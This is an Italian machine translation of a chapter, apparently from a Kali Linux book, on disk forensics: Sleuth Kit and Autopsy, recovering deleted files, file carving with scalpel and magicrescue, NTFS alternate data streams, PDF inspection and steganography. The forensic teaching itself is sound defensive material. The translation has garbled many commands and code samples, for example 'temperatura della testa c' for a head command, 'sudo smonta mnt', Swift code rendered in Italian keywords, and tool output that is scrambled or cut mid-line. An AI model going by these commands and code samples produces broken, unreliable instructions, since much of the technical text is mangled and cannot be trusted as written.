Group: 0:
Block Group Flags: [INODE_ZEROED]
Inode Range: 1 - 2032
Block Range: 1 - 8192
la struttura del tuo filesystem, TSK ti aiuterà perché l'output per i diversi
strumenti ti mostrerà i metadati per i file e il filesystem. Questo può essere
essenziale se hai bisogno di eseguire un'indagine manuale inseguendo
singoli blocchi per esaminarli.
Utilizzo dell'autopsia
TSK è una grande raccolta di strumenti, una volta che ci si è abituati a
usarli, e offre molte capacità. C'è uno strumento che puoi usare che
include le funzionalità degli strumenti TSK ma è più vicino a uno strumento
grafico. Offre anche capacità di gestione dei casi. Autopsy è un set di script
Perl che fornisce un'interfaccia web. La prima cosa che fai dopo aver
eseguito Autopsy è visitare la sua pagina web,
http://localhost:9999/autopsy con il tuo browser web. Questo ti mostrerà
la pagina iniziale di Autopsy Forensic Browser, visibile nella Figura 12-3 ,
che ti consente di creare un caso o di aprirne uno esistente.
Figura 12-3. Pagina iniziale per l'autopsia
L'apertura di un nuovo caso consente di fornire un numero di
identificazione del caso, nonché una descrizione molto breve e quindi i
nomi degli investigatori. Ogni caso ha la propria directory in
/var/lib/autopsy denominata per il numero di identificazione del caso. La
figura 12-4 mostra la pagina in cui aggiungere i dettagli. Ogni volta che si
verifica un'attività con il caso, verrà aggiunta una voce al file case.log nella
directory del caso, inclusa la creazione del caso, l'aggiunta di prove e
l'apertura di file di prove.
Figura 12-4. Aggiunta di un nuovo caso
Prima di poter iniziare ad aggiungere le immagini disco in Autopsy, devi
creare un host a cui allegare l'immagine. Fornisci il nome host, una breve
descrizione, il fuso orario e una regolazione dello skew orario per indicare
quanto era fuori sincrono l'orologio del computer rispetto all'ora standard,
poiché gli orologi dei singoli computer possono deviare. Puoi anche fornire
puntatori a database contenenti file noti come buoni e file noti come
cattivi. Una volta aggiunto l'host, puoi allegarvi un'immagine disco. Fornisci
il percorso al file che contiene l'immagine, che deve essere raw, come
quello prodotto da dd , o in formato FTK Imager. Specifica inoltre se
l'immagine è per un intero disco o solo per una partizione e, infine, se vuoi
copiare, spostare o semplicemente creare un collegamento simbolico al file
immagine . Autopsy eseguirà quindi un'analisi iniziale e mostrerà una
schermata come quella nella Figura 12-5 .
Figura 12-5. Aggiunta di dettagli all'immagine
Una volta aggiunta l'immagine, puoi esplorarla, esaminando file e
metadati. Quando apri l'immagine selezionando l'immagine, quindi
cliccando su Analizza, otterrai il menu mostrato nella Figura 12-6 . Di
default non si apre nulla, quindi devi stabilire cosa vuoi fare. Una nota qui:
quando apri l'host, otterrai l'elenco delle immagini disponibili. Se hai
un'immagine disco, otterrai il disco e voci separate nell'elenco per qualsiasi
partizione. Ad esempio, un'immagine disco con due partizioni mostrerà tre
voci per le immagini. Una è il disco e le altre due sono per le due partizioni.
L'apertura del disco ti consentirà di guardare la tabella delle partizioni
usando l'output da mmls . Se vuoi guardare i file, devi selezionare una
partizione.
Figura 12-6. Menu autopsia
Una volta che inizi a guardare il contenuto della partizione nel file browser,
vedrai un elenco di tutti i file, incluso qualsiasi cosa possa essere metadati,
come le voci FAT, che vengono visualizzate come $FAT nella tabella dei file.
Ogni voce apparirà per lo più come un normale elenco di directory, incluso
il nome del file e i timbri di data/ora, che riflettono le informazioni MAC
per il file. Ci saranno altre due colonne con cui potresti avere meno
familiarità. Una ti dice che tipo di voce è, se è un file normale o una
directory, ad esempio. All'estrema destra, mostra la posizione nella tabella
dei metadati. Nel caso di una partizione ext4, ad esempio, vedresti il
numero di inode associato a ciascun file. Facendo clic sul numero di inode
otterrai dettagli simili alla Figura 127 .
I dettagli dell'inode mostreranno il tipo di file, così come i nomi file
collegati alla voce dell'inode. Ricorda, l'inode è solo un set di dati che
indica dove si trovano i contenuti di un file e altre informazioni associate su
tali contenuti. I nomi file sono completamente separati. Potresti avere più
nomi file collegati a qualsiasi inode dato. Oltre ai timestamp MAC e alle
informazioni sul proprietario/gruppo, otterrai l'elenco di tutti i blocchi
diretti e di tutti i blocchi indiretti. Un blocco diretto è dove si trovano i dati.
Un blocco indiretto è un'altra voce dell'inode che contiene più riferimenti ai
blocchi. Ciò potrebbe essere necessario se il numero di blocchi diretti è
troppo grande per essere archiviato in una singola voce dell'inode, poiché
gli inode sono di dimensioni fisse. Facendo clic su una delle voci del blocco
diretto verrà fornito un dump esadecimale del contenuto di quel blocco.
Non mostra l'intero contenuto del file né tenta di renderizzarlo. Invece,
dovresti fare clic sul nome file nella scheda di analisi del file. Se possibile, il
file viene renderizzato, come nel caso di un file immagine. In caso
contrario, si otterrà un dump esadecimale, come nel caso, ad esempio, di
dati grezzi o di un file eseguibile.
Figura 12-7. Dettagli sulla voce inode
Autopsy ti offre molte capacità point-and-click per ispezionare dischi e file,
il che può farti risparmiare molto tempo rispetto all'esecuzione di
strumenti TSK individualmente su tutti i file nell'immagine per acquisire
tutti i dati. Tuttavia, molte informazioni possono ancora essere identificate
dalle immagini disco poiché le informazioni possono essere nascoste e
potresti non ottenere sempre ciò che pensi di vedere.
Analisi dei file
I sistemi operativi Windows si basano sulle estensioni dei file per
identificare cosa è un file e capire cosa farne. Questo viene fatto
mappando le estensioni dei file ai gestori nel Registro di sistema di
Windows. Questo può portare a identificazioni fuorvianti, per non parlare
dell'uso improprio. Immagina di cambiare il gestore per il tipo di file .exe in
modo che ogni volta che provi a eseguire un file, venga eseguito un
malware per garantire che rimanga attivo in un sistema prima che generi
l'eseguibile che hai effettivamente richiesto. Ciò significa che abbiamo
bisogno di altri modi per identificare chiaramente i file per determinare
cosa sono.
Molti tipi di file, forse soprattutto su sistemi simili a Unix, usano un numero
magico per identificare di cosa si tratta. Il motivo è che Unix è stato
sviluppato su sistemi con risorse molto limitate, quindi le estensioni dei file
sarebbero state solo bit aggiuntivi che dovevano essere memorizzati e
visualizzati negli elenchi dei file. Semplicità e brevità erano considerate
vantaggiose. Invece delle estensioni dei file, i tipi di file usavano dati nelle
intestazioni per identificare chiaramente il tipo di file. Un file PNG, ad
esempio, inizierà con le cifre esadecimali 89 50 4E 47, che è ‰PNG in
ASCII. Questo, e alcuni byte successivi, è il numero magico del file. Come
abbiamo visto, i file eseguibili basati su DOS/Windows inizieranno con le
lettere MZ . L'esempio 12-13 mostra l'uso dell'utilità file che ti dirà il tipo di
file senza basarsi sull'estensione del file poiché l'estensione del file è stata
modificata.
Esempio 12-13. Utilizzo del file
┌──(kilroy@badmilo)-[~]
└─$ mv file.exe file
┌──(kilroy@badmilo)-[~]
└─$ file file
file: PE32+ executable (GUI) x86-64, for MS Windo
┌──(kilroy@badmilo)-[~]
└─$ mv washere.png washere.jpg
┌──(kilroy@badmilo)-[~]
└─$ file washere.jpg
washere.jpg: PNG image data, 800 x 600, 8-bit/col
File da immagini disco
Potresti voler o aver bisogno di acquisire dati grezzi da un'immagine disco.
Utilizzando gli strumenti TSK, puoi seguire le informazioni in qualsiasi
immagine disco e ottenere dati da quell'immagine. Uno dei vantaggi
nell'utilizzare questo approccio è che non richiede che l'immagine sia
montata, quindi non vengono apportate modifiche all'immagine che
potrebbero renderla sospetta in relazione a manomissioni o
danneggiamenti perché i valori hash cambieranno. Il primo passaggio, se
hai un'immagine disco completa, è identificare l'offset in cui si trova la
partizione che vuoi esaminare. Come mostrato in precedenza, puoi farlo
utilizzando mmls o fdisk . Una volta ottenuto l'offset per l'inizio della
partizione, puoi ottenere un elenco di file utilizzando fls , che include la
posizione della voce nelle tabelle dei file. Nell'esempio 12-14 , l'elenco
proviene da una partizione FAT. Dopo aver selezionato un file che vuoi
provare a estrarre, puoi identificare il numero della voce della tabella. Nei
sistemi Linux, questa è la tabella degli inode. Nei sistemi Windows più
recenti, questo è il numero della voce nella MFT. Utilizzare istat per
ottenere le informazioni associate a quella voce, poiché mostrerà i blocchi
di dati.
Esempio 12-14. Individuazione delle informazioni sui file
┌──(kilroy@badmilo)-[~]
└─$ fls -o 131072 miodisco.img
r/r 6: lsass.exe_230809_145713.dmp
r/r
8:
elfbowling
r/r
*
10:
life.swift r/r 12: oreilly.png r/r
14: .zshrc r/r 17: zip-password.txt
r/r 19: 8572.cr/r 22: procdump64.exe
r/r * 25: .life.swift.swp r/r * 28:
.life.swift.swx v/v 2092995: $MBR
v/v 2092996: $FAT1 v/v 2092997:
$FAT2 V/V 2092998: $OrphanFiles
┌──(kilroy@badmilo)-[~]
└─$ istat -o 131072 miodisco.img 19
Voce di directory: 19
Assegnato
Attributi file: File, Archivio
Dimensioni: 2757
Nome: 8572.C
Orari di inserimento dati nella
directory:
Scritto: 2023-09-17 14:45:10 (EDT)
Accesso: 2023-09-17 00:00:00 (EDT)
Creato: 2023-09-17 14:45:10 (EDT)
Settori:
4556 4557 4558 4559 4560 4561 0 0
Il file selezionato, denominato 8572.c , non è molto lungo, anche se occupa
sei blocchi. Questi blocchi sono contigui, il che rende il passaggio
successivo molto più semplice. Possiamo usare blkcat , che visualizza le
informazioni dai blocchi. L'esempio 12-15 mostra l'uso di blkcat , dove
indichiamo il blocco di partenza e il numero di blocchi da estrarre. In
questo caso, l'output viene reindirizzato a un file in modo che possa essere
visualizzato o analizzato in altri modi in seguito. Senza il reindirizzamento, il
contenuto del file verrà inviato all'output standard. Per file di grandi
dimensioni, questo potrebbe sovraccaricare il buffer nella finestra del
terminale, quindi non è possibile scorrere all'inizio. Utilizzando uno
strumento come more or less , è possibile rallentare l'output a una pagina
alla volta, oppure è possibile semplicemente reindirizzarlo a un file. Questo
può essere particolarmente utile se si dispone di un file binario, come un
eseguibile, poiché non ha alcun valore cercare di guardare l'output.
Esempio 12-15. Estrazione di dati dai file
┌──(kilroy@badmilo)-[~]
└─$ blkcat -o 131072 miodisco.img 4556 6 > temp.c
┌──(kilroy@badmilo)-[~]
└─$ temperatura della testa c
/*
* cve-2009-1185.c
*
* udev < 141 Local Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
*
http://cve.mitre.org/cgi-bin/cvename.cgi?nam
Indipendentemente dal filesystem, questo processo funzionerà per estrarre
informazioni dal disco. Puoi anche usare blkcat per estrarre blocchi che
potrebbero non essere allocati ad alcun file, solo per vedere se il blocco
contiene informazioni da un file più vecchio, eliminato, che il filesystem ha
dimenticato.
Recupero dei file eliminati
Una volta che conosci il processo per estrarre le informazioni dal disco,
puoi facilmente estenderlo all'estrazione dei file eliminati. Per prima cosa,
diamo un'occhiata al contenuto di un'immagine disco usando i normali
strumenti del sistema operativo. L'esempio 12-16 mostra un mount di sola
lettura della partizione che abbiamo usato seguito da un lungo elenco di
tutti i file in quell'immagine. Questo mostrerà tutti i file nascosti del
sistema operativo. Confrontalo con l'output di fls che segue, che mostra
non solo tutti i file dall'elenco di file precedente, ma anche altri file. Per
prima cosa, ci sono i file associati al file system stesso, come $FAT , che
sono le tabelle dei file. Tuttavia, vedrai anche voci che hanno un * tra il tipo
di file e il numero della voce della tabella. Questi sono file eliminati. Sono
stati eliminati di recente, quindi le tabelle dei file li conoscono ancora, il
che significa che le voci nella tabella dei file non sono ancora state
sovrascritte con file più recenti. Sono stati contrassegnati come eliminati
nel file system, tuttavia, quindi il sistema operativo non li mostrerà nei
normali elenchi di file. Si può notare, a proposito, il calcolo dell'offset.
L'offset per il montaggio di una partizione da un'immagine disco è calcolato
in byte, non in blocchi, quindi il calcolo dell'offset mostrato qui è il numero
di byte in un blocco (512) moltiplicato per il numero di blocchi di cui la
partizione è offset nell'immagine.
Esempio 12-16. Visualizzazione dei file eliminati
┌──(kilroy@badmilo)-[~]
└─$ sudo mount -o ro -o loop -o offset=$(( 131072
┌──(kilroy@badmilo)-[~] └─$ ls -la mnt totale 2530
drwxr-xr-x 2 root root 16384 31 dicembre 1969 drwx----- 36 kilroy kilroy 4096 18 febbraio 07:53 rwxr-xr-x 1 radice radice 2757 17 settembre 10:45
-rwxr-xr-x 1 radice radice 15292 17 settembre
10:44
-rwxr-xr-x 1 radice radice 736877 17 settembre
10:43
-rwxr-xr-x 1 radice radice 1371613 17 settembre
10:44
-rwxr-xr-x 1 radice radice 424856 17 settembre
10:46
-rwxr-xr-x 1 root root 9 17 settembre 10:44
-rwxr-xr-x 1 radice radice 10911 17 settembre
10:44
┌──(kilroy@badmilo)-[~]
└─$ sudo smonta mnt
┌──(kilroy@badmilo)-[~] └─$ fls -o
131072
mydisk.img
r/r
6:
lsass.exe_230809_145713.dmp r/r 8:
elfbowling r/r * 10: life.swift r/r
12: oreilly.png r/r 14: .zshrc r/r
17:
zip-password.txt
r/r
19:
8572.cr/r 22: procdump64.exe r/r *
25:
.life.swift.swp
r/r
*
28:
.life.swift.swx v/v 2092995: $MBR
v/v 2092996: $FAT1 contro 2092997:
$FAT2
V/V 2092998: $OrphanFiles
Una volta ottenuto l'elenco da fls , abbiamo il numero della voce del file.
Possiamo dare un'occhiata alla voce 10, che ha un nome file di life.swift .
Anche se questo è un file eliminato, non c'è nulla di magico nel modo in
cui viene gestito. Usiamo istat per ottenere i dettagli sulla voce che
includono i numeri di blocco; quindi possiamo usare blkcat per ottenere il
contenuto dei blocchi. L'esempio 12-17 mostra quel processo, anche se
sembrerà identico all'estrazione di dati dai blocchi precedente.
Esempio 12-17. Estrazione di un file eliminato
┌──(kilroy@badmilo)-[~]
└─$ istat -o 131072 miodisco.img 10
Voce di directory: 10
Non assegnato
Attributi file: File, Archivio
Dimensioni: 1999
Nome: _IFE~1.SWI
Orari di inserimento dati nella directory:
Scritto: 2023-09-20 23:15:30 (EDT)
Accesso: 2023-09-20 00:00:00 (EDT)
Creato: 2023-09-20 23:15:30 (EDT)
Settori:
1792 1793 1794 1795
┌──(kilroy@badmilo)-[~] └─$ blkcat -o
131072 mydisk.img 1792 4 import
Fondazione classe Mondo {
enum Individuale {
caso Vivo caso Morto
}
var worldGrid = [[Individuo]]() var
Population = Int(0) var gridX =
Int(75) var gridY = Int(75) init ()
{
per i in 1 ..< (gridX + 1) { per j in 1
..< (gridY + 1) { worldGrid[i][j] =
.Dead }
}
Esiste un modo più semplice per recuperare il contenuto di un file, che sia
stato eliminato o meno. Invece di controllare la voce nella tabella dei file
per ottenere gli indirizzi dei blocchi di dati, puoi usare icat . Questo
prende l'indirizzo nella tabella dei file e fornisce il contenuto. Utilizzando lo
stesso file dell'Esempio 12-17 , l'Esempio 12-18 mostra l'uso di icat , che
prende semplicemente l'indirizzo dei metadati di 10 come parametro. icat
fa il resto, cercando i blocchi di dati ed estraendone il contenuto. Questo
può essere molto utile se i blocchi in cui sono archiviati i dati non sono
contigui, cosa che blkcat si aspetta. icat andrà semplicemente a recuperare
tutto il contenuto. Mentre l'output qui è stato troncato per risparmiare
spazio, puoi vedere che il contenuto del file è lo stesso.
Esempio 12-18. Utilizzo di icat
┌──(kilroy@badmilo)-[~] └─$ icat
-o 131072 mydisk.img 10 import
Foundation classe Mondo {
enum Individuale {
caso Vivo caso Morto
}
Puoi anche usare blkls per cercare informazioni nello spazio non allocato.
Questo significa qualsiasi spazio che non sia assegnato a un file nella
tabella dei file. Eseguendo semplicemente blkls senza parametri diversi da
quelli richiesti per identificare il punto di partenza di una partizione otterrai
il contenuto dei blocchi di dati dallo spazio non allocato. Puoi anche usare
blkls se vuoi ottenere l'output di tutto il contenuto dei blocchi di dati su
un'immagine disco. È anche utile per estrarre dati dallo spazio slack.
Questo può essere uno strumento utile se vuoi cercare dati che sono stati
eliminati ma che esistono ancora da qualche parte nel file system. I dati di
questo strumento saranno generalmente non strutturati, il che significa
che non avranno nomi di file associati poiché lo spazio non è allocato e non
è associato a un file noto.
Ricerche di dati
Sebbene sia possibile estrarre manualmente i file utilizzando gli strumenti
TSK, questo è pratico solo per un numero limitato di file. È possibile
utilizzare altri strumenti per estrazioni su larga scala. Uno semplice che
cercherà i file in un'immagine disco in base ai modelli di byte o testo
nell'intestazione o nel piè di pagina è Scalpel. Questo è uno strumento
scritto specificamente per estrarre file dalle immagini disco. Tuttavia, è
necessario effettuare una piccola configurazione. La figura 12-8 mostra una
sezione del file /etc/scalpel/scalpel.conf che deve essere modificata prima
di poter eseguire scalpel poiché nulla è abilitato di default. Abilitare un tipo
di file da cercare è semplice come
decommentando (eliminando il carattere # iniziale sulla riga che ha il pattern
di byte) il tipo di file desiderato. Puoi vedere nella Figura 12-8 che alcuni file
di filmati e alcuni documenti di Microsoft Office sono stati abilitati.
Figura 12-8. Configurazione del bisturi
Una volta terminata la modifica del file di configurazione, basta eseguire
scalpel , fornendo una directory di output in cui verranno archiviati i file
intagliati. Il file di configurazione ha un certo numero di tipi di file
supportati dallo strumento. Potrebbe non supportare tutti i tipi di file che
potresti voler cercare. L'esempio 12-19 mostra un'esecuzione di scalpel su
un'immagine disco. Nell'output, puoi vedere i tipi di file che sono stati
decommentati poiché include le ricerche per quei file. Puoi anche vedere
quanti file di ogni tipo sono stati trovati. Puoi anche vedere l'elenco della
directory di output. All'interno della directory di output c'è un file di audit
che mostra i file che sono stati trovati e i dettagli su dove sono stati trovati.
Esempio 12-19. Output del bisturi
┌──(kilroy@savagewoofer)-[~]
└─$ scalpel -o miodisco miodisco.img
Versione bisturi 1.60
Scritto da Golden G. Richard III, basato su
Foremo Apertura target "/home/kilroy/mydisk.img"
Passaggio file immagine 1/2. mydisk.img: 100,0%
|******************************** 00:00
ETAAssegnazione code di lavoro...
Completata l'assegnazione delle code di lavoro.
Creazione di elenchi di intaglio creati. Carico
di lavoro:
png con intestazione "\x50\x4e\x47\x3f" e piè di
pagina "\x mov con intestazione
"\x3f\x3f\x3f\x3f\x6d\x6f\x6f\x76 mov con
intestazione "\x3f\x3f\x3f\x3f\x6d\x64\x61\x74
mov con intestazione
"\x3f\x3f\x3f\x3f\x77\x69\x64\x65 mov con
intestazione "\x3f\x3f\x3f\x3f\x73\x6b\x69\x70
mov con intestazione
"\x3f\x3f\x3f\x3f\x66\x72\x65\x65 mov con
intestazione "\x3f\x3f\x3f\x3f\x69\x64\x73\x63
mov con intestazione
"\x3f\x3f\x3f\x3f\x70\x63\x6b\x67 mpg con
intestazione "\x00\x00\x01\xba" e piè di pagina
"\x mpg con intestazione "\x00\x00\x01\xb3" e piè
di pagina "\x doc con intestazione
"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe
"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1\x00\x00" --> 0
doc con intestazione "\xd0\xcf\x11\xe0\xa1\xb1" e
fo pdf con intestazione "\x25\x50\x44\x46" e piè
di pagina "\x pdf con intestazione
"\x25\x50\x44\x46" e piè di pagina "\x dat con
intestazione "\x72\x65\x67\x66" e piè di pagina
"" dat con intestazione "\x43\x52\x45\x47" e piè
di pagina "" zip con intestazione
"\x50\x4b\x03\x04" e piè di pagina "\x java con
intestazione "\xca\xfe\xba\xbe" e piè di pagina "
Intaglio di file da un'immagine. Passaggio del
file immagine 2/2.
mydisk.img: 100,0%
|******************************** 00:00
ETAElaborazione del file immagine completata.
Pulizia eseguita.
Il bisturi è fatto, le lime sono state intagliate
= 6, il tempo trascorso = 2 se
┌──(kilroy@savagewoofer)-[~]
└─$ ls miodisco
controllo.txt java-17-0 mov-5-0
scalpel non è infallibile, però. Tieni presente che sta solo cercando pattern
di byte. L'esempio 12-20 mostra gli elenchi di file dalle due partizioni
nell'immagine del disco. Puoi vedere che c'è un file .png in entrambe le
immagini del disco, e l'esempio 12-19 mostra che scalpel è stato
configurato per cercare quel tipo di file ma non ne ha trovato nessuno. Per
correttezza, va notato che scalpel è stato sviluppato più di un decennio fa,
e non è stato mantenuto attivamente per molti anni. Il suo codice sorgente
è disponibile su GitHub, però, per chiunque voglia dargli un'occhiata e
tentare di apportare eventuali aggiornamenti.
Esempio 12-20. Elenchi di file
┌──(kilroy@savagewoofer)-[~] └─$ fls -o 2048
mydisk.img d/d 11: perso+trovato r/r 12:
8572.cr/r 13: elfbowling r/r 14: procdump64.exe
r/r 16: payload.exe r/r 17: ls r/r 18:
oreilly.png r/r 15: plugins.txt
V/V 32513:
$OrphanFiles
┌──(kilroy@savagewoofer)-[~] └─$
fls -o 131072 mydisk.img r/r 6:
lsass.exe_230809_145713.dmp r/r 8:
elfbowling r/r * 10: life.swift
r/r 12: oreilly.png r/r
14: .zshrc r/r 17: zippassword.txt r/r 19:
8572.c
r/r 22: procdump64.exe r/r *
25:
.life.swift.swp r/r *
28:.life.swift.swx v/v
2092995:$MBR v/v 2092996:$FAT1
v/v 2092997:$FAT2 V/V
2092998:$OrphanFiles
Un altro strumento che esegue una funzione simile è magicrescue . Anche
questo non è più mantenuto, ma è stato aggiornato più di recente rispetto
a scalpel . A differenza di scalpel , però, non usa immagini disco per gli
input. Invece, devi fornire un nome dispositivo, poiché magicrescue
richiede un dispositivo a blocchi, mentre un file è un dispositivo a caratteri.
L'esempio 12-21 mostra l'elenco delle ricette fornite in
/usr/share/magicrescue , seguito da un'esecuzione di magicrescue su un
piccolo disco collegato al sistema. Vedrai che ha trovato un file .png basato
su una combinazione di un modello di byte e un'estensione di file. Uno
strumento come magicrescue ti aiuterà a identificare i file che potrebbero
essere stati nascosti perché la loro estensione di file è stata modificata.
Esempio 12-21. Ricette Magicrescue ed esecuzione
┌──(kilroy@badmilo)-[~] └─$ ls
/usr/share/magicrescue/recipes avi flac jpeg-exif
mbox-mozilla canon-cr2 flv jpeg-jfif mp3-id3v1
elf gpl mbox mp3-id3v2 empathy gzip mbox-mozillainbox msoffice
┌──(kilroy@badmilo)-[~]
└─$ sudo magicrescue -d output-disco -r
/usr/share
/dev/nvme0n2
PNG trovato in 0x1C00000 File png estratto
correttamente disk-output/000001C000000.png: 18831 byte Scansione /dev/nvme0n2
terminata a 51 MB
Facciamo un'altra tappa da TSK, che include alcuni strumenti che possono
essere utilizzati per le ricerche di dati. Il primo è ifind , che cerca un
indirizzo di metadati in base a un nome di file. L'esempio 12-22 mostra
come cercare l'indirizzo dalla tabella dei file in base al nome di file 8572.c ,
che si trova nell'immagine del disco. Questo è seguito dall'uso di istat per
ottenere i blocchi di dati associati all'indirizzo di metadati. Se hai
un'immagine del disco molto grande con molti file, può essere difficile
trovare file specifici senza uno strumento come questo.
Esempio 12-22. Utilizzo di ifind
┌──(kilroy@badmilo)-[~]
└─$ ifind -o 2048 -n 8572.c miodisco.img
12
┌──(kilroy@badmilo)-[~]
└─$ istat -o 2048 mydisk.img 12
inode: 12
Allocated
Group: 0
Generation Id: 3886786733
uid / gid: 1000 / 1000
mode: rrw-r--r-Flags: Extents,
size: 2757
num of links: 1
Inode Times:
Accessed:
2023-09-17 10:40:15.819816256 (ED
File Modified: 2023-09-17 10:40:15.823815964 (ED
Inode Modified: 2023-09-17 10:40:15.823815964 (ED
File Created:
2023-09-17 10:40:15.819816256 (ED
Direct Blocks:
8959 8960 8961
TSK include anche un'altra utility che può essere usata per trovare dati in
un'immagine disco. Questa è l'inversa di ifind , chiamata ffind . Se hai un
indirizzo metadati, puoi fornirlo a ffind e ti dirà tutti i nomi file che sono
collegati a quell'indirizzo. Questo è più utile in un'immagine disco su un
sistema Linux poiché i file system basati su ext sono diversi dai file system
basati su DOS o Windows, consentendo a più nomi file di puntare alla
stessa posizione dati. L'esecuzione di ffind , come al solito, richiede un
offset, un'immagine disco e un indirizzo metadati, come questo: ffind -o
2048 mydisk.img 12 . L'output ti fornirà un numero di inode per un sistema
Linux o il numero della voce nella tabella dei file in altri file system.
Dati nascosti
Esistono molti modi per nascondere i dati. Alcuni di questi sono all'interno
dei file, mentre altri sono all'interno del file system. Sui file system NTFS,
ad esempio, gli Alternate Data Streams (ADS) sono stati utilizzati fin
dall'inizio degli anni '90 come un modo per supportare il lavoro con
partizioni Hierarchical Filesystem (HFS) per l'interoperabilità con i sistemi
Macintosh. HFS consentiva fork di risorse, che erano luoghi in cui archiviare
dati di supporto come le icone. I file ADS non vengono visualizzati negli
elenchi di directory sui sistemi Windows, sebbene alcune utility possano
mostrarne l'esistenza. Gli ADS possono essere utilizzati in modo improprio,
sebbene esistano usi legittimi, tra cui l'aggiunta di un ADS per indicare che
un file è stato scaricato dalla zona Internet. Se hai un'immagine per un
disco NTFS che ha un ADS, puoi usare gli strumenti TSK per identificare
quei file. L'esempio 12-23 mostra l'output di fls su una partizione NTFS con
un ADS denominato theatre.txt:malware.exe . Una volta ottenuto
l'indirizzo dalla MFT, puoi usare istat per ottenere i blocchi di dati.
Utilizzando gli indirizzi dei blocchi dati, è possibile utilizzare blkcat per
estrarre il file dall'ADS.
Esempio 12-23. File ADS mostrato utilizzando fls
┌──(kilroy@badmilo)-[~] └─$ sudo fls -o 2048
ntfs-ad.img r/r 4-128-1: $AttrDef r/r 8-1282: $BadClus r/r 8-128-1: $BadClus:$Bad r/r 6128-4: $Bitmap r/r 7-128-1: $Boot d/d 11-1444: $Extend r/r 2-128-1: $LogFile r/r 0-1286: $MFT r/r 1-128-1: $MFTMirr d/d 44-144-1:
$RECYCLE.BIN r/r 9-128-8: $Secure:$SDS r/r 9144-11:
$Secure:$SDH
r/r
9-144-14:
$Secure:$SII r/r 10-128-1: $UpCase r/r 10128-4: $UpCase:$Info r/r 3-128-3: $Volume r/r
42-128-1: 0005567b6a99313fb18b18f2.pdf r/r
39-128-1: holyhydrant-sm.png r/r 43-128-1:
id-card.jpeg
r/r 41-128-1: image.png r/r 40-128-1:
MalwareSample.exe d/d 36-144-1:
Informazioni sul volume di sistema r/r
47-128-1: theatre.txt r/r 47-128-6:
theatre.txt:malware.exe V/V 256:
$OrphanFiles
Naturalmente, questo è solo un tipo di informazione nascosta a cui puoi
accedere tramite gli strumenti di Kali Linux. Ci sono altri posti in cui
nascondere le informazioni. Alcuni tipi di file supportano l'incorporamento
di informazioni, come il Portable Document Format (PDF). Altri hanno dati
sufficienti per archiviare i file senza influire sulla qualità complessiva,
inclusi file multimediali come immagini o audio.
Analisi PDF
I file PDF vengono spesso utilizzati per generare documenti di sola lettura
che non possono essere modificati o alterati. Ciò li rende modi popolari per
condividere questi documenti. I file PDF possono contenere testo,
immagini, altri documenti o script. Ciò li rende un buon vettore per
comportamenti scorretti, incluso il trasporto di malware. Gli strumenti
disponibili in Kali Linux possono aiutare a valutare un file PDF che potrebbe
essere sospetto. Inoltre, potresti voler guardare un file PDF prima di aprirlo
se ha un comportamento inaspettato. Sfortunatamente, alcune delle
funzionalità più problematiche vengono utilizzate regolarmente perché
rendono i PDF più funzionali. Ciò significa che potresti voler scoprire se ci
sono elementi programmatici o persino documenti incorporati che
potrebbero apparire sul tuo sistema dopo l'apertura del PDF. Un PDF può
in parte essere un file di testo, il che significa che puoi aprire un PDF in un
editor di testo e vedere quelle porzioni di testo. Tuttavia, c'è abbastanza
binario in qualsiasi file PDF e i file sono abbastanza grandi da rendere utili
gli strumenti. L'esempio 12-24 mostra l'uso di pdfid su un file PDF che ha
dati incorporati al suo interno.
Esempio 12-24. Output pdfid
┌──(kilroy@badmilo)-[~/Download]
└─$ pdfid pocoorgtfo08.pdf
PDFiD 0.2.8 pocorgtfo08.pdf
Intestazione PDF: %PDF-1.5
obj 1613 endobj 1613 stream
856 endstream 856 xref 1
trailer 1 startxref 1
/Pagina 64
/Cripta 0
/OggettoStm 0
/JS 12
/JavaScript 8
/AA 3
/ApriAzione 0
/AcroForma 1
/JBIG2Decodifica 0
/Media avanzati 0
/Avvia 0
/File incorporato 0
/XFA0
/Colori > 2^24 0
L'esempio 12-24 è un PDF da una raccolta chiamata Proof of Concept o Get
the F* Out. Le loro pubblicazioni di documenti generalmente includono
dati nascosti all'interno del PDF. In questo, puoi vedere otto sezioni
JavaScript definite nel file. Inoltre, sono identificati oltre 1.600 oggetti.
Sebbene nulla di tutto ciò sia necessariamente sospetto, potrebbe essere
sufficiente a giustificare un'ispezione più approfondita. Innanzitutto, pdfparser suddividerà tutte le sezioni in una forma più leggibile. Ci saranno
molti output qui con file di grandi dimensioni, quindi potresti volerlo
inserire in less o more per essere in grado di controllare il flusso e anche
cercare sezioni. Utilizzando pdf-parser potrai cercare le sezioni JavaScript
per leggere il JavaScript, che è in testo normale, per determinare cosa sta
facendo e l'impatto che potrebbe avere se aprissi il file. Un altro strumento
che puoi utilizzare è binwalk , che estrarrà tutti gli elementi di un PDF.
L'esempio 12-25 mostra un'esecuzione di binwalk su un altro dei PDF PoC
utilizzando il flag -e , indicando che vogliamo estrarre tutti i dati
incorporati.
Esempio 12-25. Estrazione di contenuti PDF tramite binwalk
┌──(kilroy@badmilo)-[~/Download]
└─$ binwalk -e pocoorgtfo22.pdf
DESCRIZIONE DECIMALE ESADECIMALE
----------------------------------------------0 0x0 ISO 9660 Voce primaria
Identificatore del volume: " "
┌──(kilroy@badmilo)-[~/Download]
└─$ ls _pocorgtfo22.pdf.estratto
0.iso radice iso
Nell'output puoi vedere che è incorporata un'immagine ISO, che è stata
estratta. Questo file ISO può ora essere montato per vedere cosa c'è
dentro. Altri PDF possono avere immagini che vengono estratte. Altri PDF
PoC, ad esempio, hanno molti file zlib, che sono solo dati compressi.
Steganografia
La steganografia si riferisce al nascondere informazioni all'interno di un
oggetto che è esposto. La parola significa essenzialmente "scrittura
coperta o nascosta". La pratica della steganografia utilizza comunemente
file di grandi dimensioni con molto spazio al loro interno per nascondere
informazioni. I file multimediali come immagini (JPEG, PNG, ecc.) o file
audio (MP3, M4A, WAV, ecc.) sono buoni supporti per la steganografia
poiché molte informazioni possono spesso essere omesse senza che
nessuno se ne accorga. Kali Linux ha alcuni strumenti di steganografia. Uno
di questi, steghide , può essere utilizzato sia per archiviare che per
recuperare file dalle immagini. L'esempio 12-26 mostra l'uso di steghide
per nascondere un eseguibile all'interno di un file immagine. steghide non
supporta l'occultamento di file nelle immagini PNG. Fornisci la funzione
che desideri utilizzare, in questo caso embed , quindi il file crittografato
che viene nascosto, il file di copertura in cui verrà archiviato il file nascosto
e quindi il file stego, che è il risultato finale.
